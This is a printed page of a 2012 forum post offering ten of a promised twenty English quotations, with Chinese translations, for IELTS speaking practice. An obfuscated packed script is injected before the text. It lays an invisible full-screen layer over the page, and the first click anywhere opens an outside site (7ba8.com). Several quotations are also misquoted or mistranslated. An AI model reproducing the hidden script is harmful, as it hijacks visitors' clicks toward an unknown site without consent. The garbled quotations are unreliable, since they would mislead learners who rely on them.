滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 20个雅思口语话题常用名言 [打印本页]

作者: ohbaobao    时间: 2012-7-12 18:37
标题: 20个雅思口语话题常用名言
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>学习是需要方法的,名人名言是大家在备考雅思口语话题的时候一个非常有用的材料,所以大家在雅思口语话题备考中准备一些比较常用的名言是非常有好处的。下面就为大家搜集整理了雅思口语话题备考常用名言,一共20条,供大家参考。
  1.If you smile when one is around, you really mean it.
  如果你独自一人笑了,那是真心的笑。--Andy Rooney
  2.Wonders are many,and nothing is more wonderful then man.
  天下奇迹无数,却无一比人更奇妙。--Sophocles
  3.The proper function of man is to live,but not to exist.
  人应该生活,而非单纯生存。--Jack London
  4.The great advantage of telling the truth is one's so much more likely to sound convincing.
  说真话最大的优势就是听上去很可能更令人信服。--Susan Howatch
  5.Misers are no fun to live,but they make great ancestors.
  与吝啬鬼生活毫无乐趣,但他们却为后人称道不已。--Tom Snyder
  6.There is not a heart but has its moments of longing,yearning for something better,nobler and holier than it knows before.
  每个人都有向往的时候,渴望比以前更美好,更高贵,更神圣的东西。--H.W.Beecher
  7.Conquer fear of death and you are put into possession of you life.
  战胜对死亡的恐惧才能真正享受生命。--G.Meredith
  8.He that is once born,once die.
  有生比有死。--Herbert
  9.The more alternative,the more difficult the choice.
  选择越多越难抉择。--Abbe D'Allaiva
  10.The fox changes his skin but not his habits.
  江山易改,本性难移。--Suetonius




欢迎光临 滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (http://sydneybbs.com/) Powered by Discuz! X3.2